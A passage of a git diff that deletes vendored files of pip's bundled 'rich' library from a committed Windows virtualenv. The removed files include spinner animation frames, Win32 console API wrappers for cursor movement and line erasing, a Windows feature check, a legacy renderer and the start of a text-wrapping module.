"▁▁▁█████████████▁▁▁▁", - "▁▁▁▁▁████████████▁▁▁", - "▁▁▁▁▁████████████▁▁▁", - "▁▁▁▁▁▁███████████▁▁▁", - "▁▁▁▁▁▁▁▁█████████▁▁▁", - "▁▁▁▁▁▁▁▁█████████▁▁▁", - "▁▁▁▁▁▁▁▁▁█████████▁▁", - "▁▁▁▁▁▁▁▁▁█████████▁▁", - "▁▁▁▁▁▁▁▁▁▁█████████▁", - "▁▁▁▁▁▁▁▁▁▁▁████████▁", - "▁▁▁▁▁▁▁▁▁▁▁████████▁", - "▁▁▁▁▁▁▁▁▁▁▁▁███████▁", - "▁▁▁▁▁▁▁▁▁▁▁▁███████▁", - "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁███████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁████", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁███", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁██", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁█", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - "▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁", - ], - }, - "moon": { - "interval": 80, - "frames": ["🌑 ", "🌒 ", "🌓 ", "🌔 ", "🌕 ", "🌖 ", "🌗 ", "🌘 "], - }, - "runner": {"interval": 140, "frames": ["🚶 ", "🏃 "]}, - "pong": { - "interval": 80, - "frames": [ - "▐⠂ ▌", - "▐⠈ ▌", - "▐ ⠂ ▌", - "▐ ⠠ ▌", - "▐ ⡀ ▌", - "▐ ⠠ ▌", - "▐ ⠂ ▌", - "▐ ⠈ ▌", - "▐ ⠂ ▌", - "▐ ⠠ ▌", - "▐ ⡀ ▌", - "▐ ⠠ ▌", - "▐ ⠂ ▌", - "▐ ⠈ ▌", - "▐ ⠂▌", - "▐ ⠠▌", - "▐ ⡀▌", - "▐ ⠠ ▌", - "▐ ⠂ ▌", - "▐ ⠈ ▌", - "▐ ⠂ ▌", - "▐ ⠠ ▌", - "▐ ⡀ ▌", - "▐ ⠠ ▌", - "▐ ⠂ ▌", - "▐ ⠈ ▌", - "▐ ⠂ ▌", - "▐ ⠠ ▌", - "▐ ⡀ ▌", - "▐⠠ ▌", - ], - }, - "shark": { - "interval": 120, - "frames": [ - "▐|\\____________▌", - "▐_|\\___________▌", - "▐__|\\__________▌", - "▐___|\\_________▌", - "▐____|\\________▌", - "▐_____|\\_______▌", - "▐______|\\______▌", - "▐_______|\\_____▌", - "▐________|\\____▌", - "▐_________|\\___▌", - "▐__________|\\__▌", - "▐___________|\\_▌", - "▐____________|\\▌", - "▐____________/|▌", - "▐___________/|_▌", - "▐__________/|__▌", - "▐_________/|___▌", - "▐________/|____▌", - "▐_______/|_____▌", - "▐______/|______▌", - "▐_____/|_______▌", - "▐____/|________▌", - "▐___/|_________▌", - "▐__/|__________▌", - "▐_/|___________▌", - "▐/|____________▌", - ], - }, - "dqpb": {"interval": 100, "frames": "dqpb"}, - "weather": { - "interval": 100, - "frames": [ - "☀️ ", - "☀️ ", - "☀️ ", - "🌤 ", - "⛅️ ", - "🌥 ", - "☁️ ", - "🌧 ", - "🌨 ", - "🌧 ", - "🌨 ", - "🌧 ", - "🌨 ", - "⛈ ", - "🌨 ", - "🌧 ", - "🌨 ", - "☁️ ", - "🌥 ", - "⛅️ ", - "🌤 ", - "☀️ ", - "☀️ ", - ], - }, - "christmas": {"interval": 400, "frames": "🌲🎄"}, - "grenade": { - "interval": 80, - "frames": [ - "، ", - "′ ", - " ´ ", - " ‾ ", - " ⸌", - " ⸊", - " |", - " ⁎", - " ⁕", - " ෴ ", - " ⁓", - " ", - " ", - " ", - ], - }, - "point": {"interval": 125, "frames": ["∙∙∙", "●∙∙", "∙●∙", "∙∙●", "∙∙∙"]}, - "layer": {"interval": 150, "frames": "-=≡"}, - "betaWave": { - "interval": 80, - "frames": [ - "ρββββββ", - "βρβββββ", - "ββρββββ", - "βββρβββ", - "ββββρββ", - "βββββρβ", - "ββββββρ", - ], - }, - "aesthetic": { - "interval": 80, - "frames": [ - "▰▱▱▱▱▱▱", - "▰▰▱▱▱▱▱", - "▰▰▰▱▱▱▱", - "▰▰▰▰▱▱▱", - "▰▰▰▰▰▱▱", - "▰▰▰▰▰▰▱", - "▰▰▰▰▰▰▰", - "▰▱▱▱▱▱▱", - ], - }, -} diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_stack.py b/venv/Lib/site-packages/pip/_vendor/rich/_stack.py deleted file mode 100644 index 194564e761ddae165b39ef6598877e2e3820af0a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_stack.py +++ /dev/null @@ -1,16 +0,0 @@ -from typing import List, TypeVar - -T = TypeVar("T") - - -class Stack(List[T]): - """A small shim over builtin list.""" - - @property - def top(self) -> T: - """Get top of stack.""" - return self[-1] - - def push(self, item: T) -> None: - """Push an item on to the stack (append in stack nomenclature).""" - self.append(item) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_timer.py b/venv/Lib/site-packages/pip/_vendor/rich/_timer.py deleted file mode 100644 index a2ca6be03c43054caaa3660998273ebf704345dd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_timer.py +++ /dev/null @@ -1,19 +0,0 @@ -""" -Timer context manager, only used in debug. - -""" - -from time import time - -import contextlib -from typing import Generator - - -@contextlib.contextmanager -def timer(subject: str = "time") -> Generator[None, None, None]: - """print the elapsed time. (only used in debugging)""" - start = time() - yield - elapsed = time() - start - elapsed_ms = elapsed * 1000 - print(f"{subject} elapsed {elapsed_ms:.1f}ms") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py b/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py deleted file mode 100644 index 2eba1b9b4ab8492d1c2174905e4cbaf1ff185eca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_win32_console.py +++ /dev/null @@ -1,661 +0,0 @@ -"""Light wrapper around the Win32 Console API - this module should only be imported on Windows - -The API that this module wraps is documented at https://docs.microsoft.com/en-us/windows/console/console-functions -""" - -import ctypes -import sys -from typing import Any - -windll: Any = None -if sys.platform == "win32": - windll = ctypes.LibraryLoader(ctypes.WinDLL) -else: - raise ImportError(f"{__name__} can only be imported on Windows") - -import time -from ctypes import Structure, byref, wintypes -from typing import IO, NamedTuple, Type, cast - -from pip._vendor.rich.color import ColorSystem -from pip._vendor.rich.style import Style - -STDOUT = -11 -ENABLE_VIRTUAL_TERMINAL_PROCESSING = 4 - -COORD = wintypes._COORD - - -class LegacyWindowsError(Exception): - pass - - -class WindowsCoordinates(NamedTuple): - """Coordinates in the Windows Console API are (y, x), not (x, y). - This class is intended to prevent that confusion. - Rows and columns are indexed from 0. - This class can be used in place of wintypes._COORD in arguments and argtypes. - """ - - row: int - col: int - - @classmethod - def from_param(cls, value: "WindowsCoordinates") -> COORD: - """Converts a WindowsCoordinates into a wintypes _COORD structure. - This classmethod is internally called by ctypes to perform the conversion. - - Args: - value (WindowsCoordinates): The input coordinates to convert. - - Returns: - wintypes._COORD: The converted coordinates struct. - """ - return COORD(value.col, value.row) - - -class CONSOLE_SCREEN_BUFFER_INFO(Structure): - _fields_ = [ - ("dwSize", COORD), - ("dwCursorPosition", COORD), - ("wAttributes", wintypes.WORD), - ("srWindow", wintypes.SMALL_RECT), - ("dwMaximumWindowSize", COORD), - ] - - -class CONSOLE_CURSOR_INFO(ctypes.Structure): - _fields_ = [("dwSize", wintypes.DWORD), ("bVisible", wintypes.BOOL)] - - -_GetStdHandle = windll.kernel32.GetStdHandle -_GetStdHandle.argtypes = [ - wintypes.DWORD, -] -_GetStdHandle.restype = wintypes.HANDLE - - -def GetStdHandle(handle: int = STDOUT) -> wintypes.HANDLE: - """Retrieves a handle to the specified standard device (standard input, standard output, or standard error). - - Args: - handle (int): Integer identifier for the handle. Defaults to -11 (stdout). - - Returns: - wintypes.HANDLE: The handle - """ - return cast(wintypes.HANDLE, _GetStdHandle(handle)) - - -_GetConsoleMode = windll.kernel32.GetConsoleMode -_GetConsoleMode.argtypes = [wintypes.HANDLE, wintypes.LPDWORD] -_GetConsoleMode.restype = wintypes.BOOL - - -def GetConsoleMode(std_handle: wintypes.HANDLE) -> int: - """Retrieves the current input mode of a console's input buffer - or the current output mode of a console screen buffer. - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - - Raises: - LegacyWindowsError: If any error occurs while calling the Windows console API. - - Returns: - int: Value representing the current console mode as documented at - https://docs.microsoft.com/en-us/windows/console/getconsolemode#parameters - """ - - console_mode = wintypes.DWORD() - success = bool(_GetConsoleMode(std_handle, console_mode)) - if not success: - raise LegacyWindowsError("Unable to get legacy Windows Console Mode") - return console_mode.value - - -_FillConsoleOutputCharacterW = windll.kernel32.FillConsoleOutputCharacterW -_FillConsoleOutputCharacterW.argtypes = [ - wintypes.HANDLE, - ctypes.c_char, - wintypes.DWORD, - cast(Type[COORD], WindowsCoordinates), - ctypes.POINTER(wintypes.DWORD), -] -_FillConsoleOutputCharacterW.restype = wintypes.BOOL - - -def FillConsoleOutputCharacter( - std_handle: wintypes.HANDLE, - char: str, - length: int, - start: WindowsCoordinates, -) -> int: - """Writes a character to the console screen buffer a specified number of times, beginning at the specified coordinates. - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - char (str): The character to write. Must be a string of length 1. - length (int): The number of times to write the character. - start (WindowsCoordinates): The coordinates to start writing at. - - Returns: - int: The number of characters written. - """ - character = ctypes.c_char(char.encode()) - num_characters = wintypes.DWORD(length) - num_written = wintypes.DWORD(0) - _FillConsoleOutputCharacterW( - std_handle, - character, - num_characters, - start, - byref(num_written), - ) - return num_written.value - - -_FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute -_FillConsoleOutputAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, - wintypes.DWORD, - cast(Type[COORD], WindowsCoordinates), - ctypes.POINTER(wintypes.DWORD), -] -_FillConsoleOutputAttribute.restype = wintypes.BOOL - - -def FillConsoleOutputAttribute( - std_handle: wintypes.HANDLE, - attributes: int, - length: int, - start: WindowsCoordinates, -) -> int: - """Sets the character attributes for a specified number of character cells, - beginning at the specified coordinates in a screen buffer. - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - attributes (int): Integer value representing the foreground and background colours of the cells. - length (int): The number of cells to set the output attribute of. - start (WindowsCoordinates): The coordinates of the first cell whose attributes are to be set. - - Returns: - int: The number of cells whose attributes were actually set. - """ - num_cells = wintypes.DWORD(length) - style_attrs = wintypes.WORD(attributes) - num_written = wintypes.DWORD(0) - _FillConsoleOutputAttribute( - std_handle, style_attrs, num_cells, start, byref(num_written) - ) - return num_written.value - - -_SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute -_SetConsoleTextAttribute.argtypes = [ - wintypes.HANDLE, - wintypes.WORD, -] -_SetConsoleTextAttribute.restype = wintypes.BOOL - - -def SetConsoleTextAttribute( - std_handle: wintypes.HANDLE, attributes: wintypes.WORD -) -> bool: - """Set the colour attributes for all text written after this function is called. - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - attributes (int): Integer value representing the foreground and background colours. - - - Returns: - bool: True if the attribute was set successfully, otherwise False. - """ - return bool(_SetConsoleTextAttribute(std_handle, attributes)) - - -_GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo -_GetConsoleScreenBufferInfo.argtypes = [ - wintypes.HANDLE, - ctypes.POINTER(CONSOLE_SCREEN_BUFFER_INFO), -] -_GetConsoleScreenBufferInfo.restype = wintypes.BOOL - - -def GetConsoleScreenBufferInfo( - std_handle: wintypes.HANDLE, -) -> CONSOLE_SCREEN_BUFFER_INFO: - """Retrieves information about the specified console screen buffer. - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - - Returns: - CONSOLE_SCREEN_BUFFER_INFO: A CONSOLE_SCREEN_BUFFER_INFO ctype struct contain information about - screen size, cursor position, colour attributes, and more.""" - console_screen_buffer_info = CONSOLE_SCREEN_BUFFER_INFO() - _GetConsoleScreenBufferInfo(std_handle, byref(console_screen_buffer_info)) - return console_screen_buffer_info - - -_SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition -_SetConsoleCursorPosition.argtypes = [ - wintypes.HANDLE, - cast(Type[COORD], WindowsCoordinates), -] -_SetConsoleCursorPosition.restype = wintypes.BOOL - - -def SetConsoleCursorPosition( - std_handle: wintypes.HANDLE, coords: WindowsCoordinates -) -> bool: - """Set the position of the cursor in the console screen - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - coords (WindowsCoordinates): The coordinates to move the cursor to. - - Returns: - bool: True if the function succeeds, otherwise False. - """ - return bool(_SetConsoleCursorPosition(std_handle, coords)) - - -_GetConsoleCursorInfo = windll.kernel32.GetConsoleCursorInfo -_GetConsoleCursorInfo.argtypes = [ - wintypes.HANDLE, - ctypes.POINTER(CONSOLE_CURSOR_INFO), -] -_GetConsoleCursorInfo.restype = wintypes.BOOL - - -def GetConsoleCursorInfo( - std_handle: wintypes.HANDLE, cursor_info: CONSOLE_CURSOR_INFO -) -> bool: - """Get the cursor info - used to get cursor visibility and width - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - cursor_info (CONSOLE_CURSOR_INFO): CONSOLE_CURSOR_INFO ctype struct that receives information - about the console's cursor. - - Returns: - bool: True if the function succeeds, otherwise False. - """ - return bool(_GetConsoleCursorInfo(std_handle, byref(cursor_info))) - - -_SetConsoleCursorInfo = windll.kernel32.SetConsoleCursorInfo -_SetConsoleCursorInfo.argtypes = [ - wintypes.HANDLE, - ctypes.POINTER(CONSOLE_CURSOR_INFO), -] -_SetConsoleCursorInfo.restype = wintypes.BOOL - - -def SetConsoleCursorInfo( - std_handle: wintypes.HANDLE, cursor_info: CONSOLE_CURSOR_INFO -) -> bool: - """Set the cursor info - used for adjusting cursor visibility and width - - Args: - std_handle (wintypes.HANDLE): A handle to the console input buffer or the console screen buffer. - cursor_info (CONSOLE_CURSOR_INFO): CONSOLE_CURSOR_INFO ctype struct containing the new cursor info. - - Returns: - bool: True if the function succeeds, otherwise False. - """ - return bool(_SetConsoleCursorInfo(std_handle, byref(cursor_info))) - - -_SetConsoleTitle = windll.kernel32.SetConsoleTitleW -_SetConsoleTitle.argtypes = [wintypes.LPCWSTR] -_SetConsoleTitle.restype = wintypes.BOOL - - -def SetConsoleTitle(title: str) -> bool: - """Sets the title of the current console window - - Args: - title (str): The new title of the console window. - - Returns: - bool: True if the function succeeds, otherwise False. - """ - return bool(_SetConsoleTitle(title)) - - -class LegacyWindowsTerm: - """This class allows interaction with the legacy Windows Console API. It should only be used in the context - of environments where virtual terminal processing is not available. However, if it is used in a Windows environment, - the entire API should work. - - Args: - file (IO[str]): The file which the Windows Console API HANDLE is retrieved from, defaults to sys.stdout. - """ - - BRIGHT_BIT = 8 - - # Indices are ANSI color numbers, values are the corresponding Windows Console API color numbers - ANSI_TO_WINDOWS = [ - 0, # black The Windows colours are defined in wincon.h as follows: - 4, # red define FOREGROUND_BLUE 0x0001 -- 0000 0001 - 2, # green define FOREGROUND_GREEN 0x0002 -- 0000 0010 - 6, # yellow define FOREGROUND_RED 0x0004 -- 0000 0100 - 1, # blue define FOREGROUND_INTENSITY 0x0008 -- 0000 1000 - 5, # magenta define BACKGROUND_BLUE 0x0010 -- 0001 0000 - 3, # cyan define BACKGROUND_GREEN 0x0020 -- 0010 0000 - 7, # white define BACKGROUND_RED 0x0040 -- 0100 0000 - 8, # bright black (grey) define BACKGROUND_INTENSITY 0x0080 -- 1000 0000 - 12, # bright red - 10, # bright green - 14, # bright yellow - 9, # bright blue - 13, # bright magenta - 11, # bright cyan - 15, # bright white - ] - - def __init__(self, file: "IO[str]") -> None: - handle = GetStdHandle(STDOUT) - self._handle = handle - default_text = GetConsoleScreenBufferInfo(handle).wAttributes - self._default_text = default_text - - self._default_fore = default_text & 7 - self._default_back = (default_text >> 4) & 7 - self._default_attrs = self._default_fore | (self._default_back << 4) - - self._file = file - self.write = file.write - self.flush = file.flush - - @property - def cursor_position(self) -> WindowsCoordinates: - """Returns the current position of the cursor (0-based) - - Returns: - WindowsCoordinates: The current cursor position. - """ - coord: COORD = GetConsoleScreenBufferInfo(self._handle).dwCursorPosition - return WindowsCoordinates(row=coord.Y, col=coord.X) - - @property - def screen_size(self) -> WindowsCoordinates: - """Returns the current size of the console screen buffer, in character columns and rows - - Returns: - WindowsCoordinates: The width and height of the screen as WindowsCoordinates. - """ - screen_size: COORD = GetConsoleScreenBufferInfo(self._handle).dwSize - return WindowsCoordinates(row=screen_size.Y, col=screen_size.X) - - def write_text(self, text: str) -> None: - """Write text directly to the terminal without any modification of styles - - Args: - text (str): The text to write to the console - """ - self.write(text) - self.flush() - - def write_styled(self, text: str, style: Style) -> None: - """Write styled text to the terminal. - - Args: - text (str): The text to write - style (Style): The style of the text - """ - color = style.color - bgcolor = style.bgcolor - if style.reverse: - color, bgcolor = bgcolor, color - - if color: - fore = color.downgrade(ColorSystem.WINDOWS).number - fore = fore if fore is not None else 7 # Default to ANSI 7: White - if style.bold: - fore = fore | self.BRIGHT_BIT - if style.dim: - fore = fore & ~self.BRIGHT_BIT - fore = self.ANSI_TO_WINDOWS[fore] - else: - fore = self._default_fore - - if bgcolor: - back = bgcolor.downgrade(ColorSystem.WINDOWS).number - back = back if back is not None else 0 # Default to ANSI 0: Black - back = self.ANSI_TO_WINDOWS[back] - else: - back = self._default_back - - assert fore is not None - assert back is not None - - SetConsoleTextAttribute( - self._handle, attributes=ctypes.c_ushort(fore | (back << 4)) - ) - self.write_text(text) - SetConsoleTextAttribute(self._handle, attributes=self._default_text) - - def move_cursor_to(self, new_position: WindowsCoordinates) -> None: - """Set the position of the cursor - - Args: - new_position (WindowsCoordinates): The WindowsCoordinates representing the new position of the cursor. - """ - if new_position.col < 0 or new_position.row < 0: - return - SetConsoleCursorPosition(self._handle, coords=new_position) - - def erase_line(self) -> None: - """Erase all content on the line the cursor is currently located at""" - screen_size = self.screen_size - cursor_position = self.cursor_position - cells_to_erase = screen_size.col - start_coordinates = WindowsCoordinates(row=cursor_position.row, col=0) - FillConsoleOutputCharacter( - self._handle, " ", length=cells_to_erase, start=start_coordinates - ) - FillConsoleOutputAttribute( - self._handle, - self._default_attrs, - length=cells_to_erase, - start=start_coordinates, - ) - - def erase_end_of_line(self) -> None: - """Erase all content from the cursor position to the end of that line""" - cursor_position = self.cursor_position - cells_to_erase = self.screen_size.col - cursor_position.col - FillConsoleOutputCharacter( - self._handle, " ", length=cells_to_erase, start=cursor_position - ) - FillConsoleOutputAttribute( - self._handle, - self._default_attrs, - length=cells_to_erase, - start=cursor_position, - ) - - def erase_start_of_line(self) -> None: - """Erase all content from the cursor position to the start of that line""" - row, col = self.cursor_position - start = WindowsCoordinates(row, 0) - FillConsoleOutputCharacter(self._handle, " ", length=col, start=start) - FillConsoleOutputAttribute( - self._handle, self._default_attrs, length=col, start=start - ) - - def move_cursor_up(self) -> None: - """Move the cursor up a single cell""" - cursor_position = self.cursor_position - SetConsoleCursorPosition( - self._handle, - coords=WindowsCoordinates( - row=cursor_position.row - 1, col=cursor_position.col - ), - ) - - def move_cursor_down(self) -> None: - """Move the cursor down a single cell""" - cursor_position = self.cursor_position - SetConsoleCursorPosition( - self._handle, - coords=WindowsCoordinates( - row=cursor_position.row + 1, - col=cursor_position.col, - ), - ) - - def move_cursor_forward(self) -> None: - """Move the cursor forward a single cell. Wrap to the next line if required.""" - row, col = self.cursor_position - if col == self.screen_size.col - 1: - row += 1 - col = 0 - else: - col += 1 - SetConsoleCursorPosition( - self._handle, coords=WindowsCoordinates(row=row, col=col) - ) - - def move_cursor_to_column(self, column: int) -> None: - """Move cursor to the column specified by the zero-based column index, staying on the same row - - Args: - column (int): The zero-based column index to move the cursor to. - """ - row, _ = self.cursor_position - SetConsoleCursorPosition(self._handle, coords=WindowsCoordinates(row, column)) - - def move_cursor_backward(self) -> None: - """Move the cursor backward a single cell. Wrap to the previous line if required.""" - row, col = self.cursor_position - if col == 0: - row -= 1 - col = self.screen_size.col - 1 - else: - col -= 1 - SetConsoleCursorPosition( - self._handle, coords=WindowsCoordinates(row=row, col=col) - ) - - def hide_cursor(self) -> None: - """Hide the cursor""" - current_cursor_size = self._get_cursor_size() - invisible_cursor = CONSOLE_CURSOR_INFO(dwSize=current_cursor_size, bVisible=0) - SetConsoleCursorInfo(self._handle, cursor_info=invisible_cursor) - - def show_cursor(self) -> None: - """Show the cursor""" - current_cursor_size = self._get_cursor_size() - visible_cursor = CONSOLE_CURSOR_INFO(dwSize=current_cursor_size, bVisible=1) - SetConsoleCursorInfo(self._handle, cursor_info=visible_cursor) - - def set_title(self, title: str) -> None: - """Set the title of the terminal window - - Args: - title (str): The new title of the console window - """ - assert len(title) < 255, "Console title must be less than 255 characters" - SetConsoleTitle(title) - - def _get_cursor_size(self) -> int: - """Get the percentage of the character cell that is filled by the cursor""" - cursor_info = CONSOLE_CURSOR_INFO() - GetConsoleCursorInfo(self._handle, cursor_info=cursor_info) - return int(cursor_info.dwSize) - - -if __name__ == "__main__": - handle = GetStdHandle() - - from pip._vendor.rich.console import Console - - console = Console() - - term = LegacyWindowsTerm(sys.stdout) - term.set_title("Win32 Console Examples") - - style = Style(color="black", bgcolor="red") - - heading = Style.parse("black on green") - - # Check colour output - console.rule("Checking colour output") - console.print("[on red]on red!") - console.print("[blue]blue!") - console.print("[yellow]yellow!") - console.print("[bold yellow]bold yellow!") - console.print("[bright_yellow]bright_yellow!") - console.print("[dim bright_yellow]dim bright_yellow!") - console.print("[italic cyan]italic cyan!") - console.print("[bold white on blue]bold white on blue!") - console.print("[reverse bold white on blue]reverse bold white on blue!") - console.print("[bold black on cyan]bold black on cyan!") - console.print("[black on green]black on green!") - console.print("[blue on green]blue on green!") - console.print("[white on black]white on black!") - console.print("[black on white]black on white!") - console.print("[#1BB152 on #DA812D]#1BB152 on #DA812D!") - - # Check cursor movement - console.rule("Checking cursor movement") - console.print() - term.move_cursor_backward() - term.move_cursor_backward() - term.write_text("went back and wrapped to prev line") - time.sleep(1) - term.move_cursor_up() - term.write_text("we go up") - time.sleep(1) - term.move_cursor_down() - term.write_text("and down") - time.sleep(1) - term.move_cursor_up() - term.move_cursor_backward() - term.move_cursor_backward() - term.write_text("we went up and back 2") - time.sleep(1) - term.move_cursor_down() - term.move_cursor_backward() - term.move_cursor_backward() - term.write_text("we went down and back 2") - time.sleep(1) - - # Check erasing of lines - term.hide_cursor() - console.print() - console.rule("Checking line erasing") - console.print("\n...Deleting to the start of the line...") - term.write_text("The red arrow shows the cursor location, and direction of erase") - time.sleep(1) - term.move_cursor_to_column(16) - term.write_styled("<", Style.parse("black on red")) - term.move_cursor_backward() - time.sleep(1) - term.erase_start_of_line() - time.sleep(1) - - console.print("\n\n...And to the end of the line...") - term.write_text("The red arrow shows the cursor location, and direction of erase") - time.sleep(1) - - term.move_cursor_to_column(16) - term.write_styled(">", Style.parse("black on red")) - time.sleep(1) - term.erase_end_of_line() - time.sleep(1) - - console.print("\n\n...Now the whole line will be erased...") - term.write_styled("I'm going to disappear!", style=Style.parse("black on cyan")) - time.sleep(1) - term.erase_line() - - term.show_cursor() - print("\n") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_windows.py b/venv/Lib/site-packages/pip/_vendor/rich/_windows.py deleted file mode 100644 index 7520a9f90a5bcb0ec89ffef4d77136a296e08b4e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_windows.py +++ /dev/null @@ -1,71 +0,0 @@ -import sys -from dataclasses import dataclass - - -@dataclass -class WindowsConsoleFeatures: - """Windows features available.""" - - vt: bool = False - """The console supports VT codes.""" - truecolor: bool = False - """The console supports truecolor.""" - - -try: - import ctypes - from ctypes import LibraryLoader - - if sys.platform == "win32": - windll = LibraryLoader(ctypes.WinDLL) - else: - windll = None - raise ImportError("Not windows") - - from pip._vendor.rich._win32_console import ( - ENABLE_VIRTUAL_TERMINAL_PROCESSING, - GetConsoleMode, - GetStdHandle, - LegacyWindowsError, - ) - -except (AttributeError, ImportError, ValueError): - # Fallback if we can't load the Windows DLL - def get_windows_console_features() -> WindowsConsoleFeatures: - features = WindowsConsoleFeatures() - return features - -else: - - def get_windows_console_features() -> WindowsConsoleFeatures: - """Get windows console features. - - Returns: - WindowsConsoleFeatures: An instance of WindowsConsoleFeatures. - """ - handle = GetStdHandle() - try: - console_mode = GetConsoleMode(handle) - success = True - except LegacyWindowsError: - console_mode = 0 - success = False - vt = bool(success and console_mode & ENABLE_VIRTUAL_TERMINAL_PROCESSING) - truecolor = False - if vt: - win_version = sys.getwindowsversion() - truecolor = win_version.major > 10 or ( - win_version.major == 10 and win_version.build >= 15063 - ) - features = WindowsConsoleFeatures(vt=vt, truecolor=truecolor) - return features - - -if __name__ == "__main__": - import platform - - features = get_windows_console_features() - from pip._vendor.rich import print - - print(f'platform="{platform.system()}"') - print(repr(features)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py b/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py deleted file mode 100644 index 5ece05649e7268a75c82de6ced552619ffc093ab..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_windows_renderer.py +++ /dev/null @@ -1,56 +0,0 @@ -from typing import Iterable, Sequence, Tuple, cast - -from pip._vendor.rich._win32_console import LegacyWindowsTerm, WindowsCoordinates -from pip._vendor.rich.segment import ControlCode, ControlType, Segment - - -def legacy_windows_render(buffer: Iterable[Segment], term: LegacyWindowsTerm) -> None: - """Makes appropriate Windows Console API calls based on the segments in the buffer. - - Args: - buffer (Iterable[Segment]): Iterable of Segments to convert to Win32 API calls. - term (LegacyWindowsTerm): Used to call the Windows Console API. - """ - for text, style, control in buffer: - if not control: - if style: - term.write_styled(text, style) - else: - term.write_text(text) - else: - control_codes: Sequence[ControlCode] = control - for control_code in control_codes: - control_type = control_code[0] - if control_type == ControlType.CURSOR_MOVE_TO: - _, x, y = cast(Tuple[ControlType, int, int], control_code) - term.move_cursor_to(WindowsCoordinates(row=y - 1, col=x - 1)) - elif control_type == ControlType.CARRIAGE_RETURN: - term.write_text("\r") - elif control_type == ControlType.HOME: - term.move_cursor_to(WindowsCoordinates(0, 0)) - elif control_type == ControlType.CURSOR_UP: - term.move_cursor_up() - elif control_type == ControlType.CURSOR_DOWN: - term.move_cursor_down() - elif control_type == ControlType.CURSOR_FORWARD: - term.move_cursor_forward() - elif control_type == ControlType.CURSOR_BACKWARD: - term.move_cursor_backward() - elif control_type == ControlType.CURSOR_MOVE_TO_COLUMN: - _, column = cast(Tuple[ControlType, int], control_code) - term.move_cursor_to_column(column - 1) - elif control_type == ControlType.HIDE_CURSOR: - term.hide_cursor() - elif control_type == ControlType.SHOW_CURSOR: - term.show_cursor() - elif control_type == ControlType.ERASE_IN_LINE: - _, mode = cast(Tuple[ControlType, int], control_code) - if mode == 0: - term.erase_end_of_line() - elif mode == 1: - term.erase_start_of_line() - elif mode == 2: - term.erase_line() - elif control_type == ControlType.SET_WINDOW_TITLE: - _, title = cast(Tuple[ControlType, str], control_code) - term.set_title(title) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py b/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py deleted file mode 100644 index 2e94ff6f43adfb6a6900a3a2147781e91220b189..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/rich/_wrap.py +++ /dev/null @@ -1,93 +0,0 @@ -from __future__ import annotations - -import re -from typing import Iterable - -from ._loop import loop_last -from .cells import cell_len, chop_cells - -re_word = re.compile(r"\s*\S+\s*") - - -def words(text: str) -> Iterable[tuple[int, int, str]]: - """Yields each word from the text as a tuple - containing (start_index, end_index, word). A "word" in this context may - include the actual word and any whitespace to the right. - """ - position = 0 - word_match = re_word.match(text, position) - while word_match is not None: - start, end = word_match.span() - word = word_match.group(0) - yield start, end, word - word_match = re_word.match(text, end) - - -def divide_line(text: str, width: int, fold: bool = True) -> list[int]: - """Given a string of text, and a width (measured in cells), return a list - of cell offsets which the string should be split at in order for it to fit - within the given width. - - Args: - text: The text to examine. - width: The available cell width. - fold: If True, words longer than `width` will be folded onto a new line. - - Returns: - A list of indices to break the line at. - """ - break_positions: list[int] = [] # offsets to insert the breaks at - append = break_positions.append - cell_offset = 0 - _cell_len = cell_len - - for start, _end, word in words(text): - word_length = _cell_len(word.rstrip()) - remaining_space = width - cell_offset - word_fits_remaining_space = remaining_space >= word_length - - if word_fits_remaining_space: - # Simplest case - the 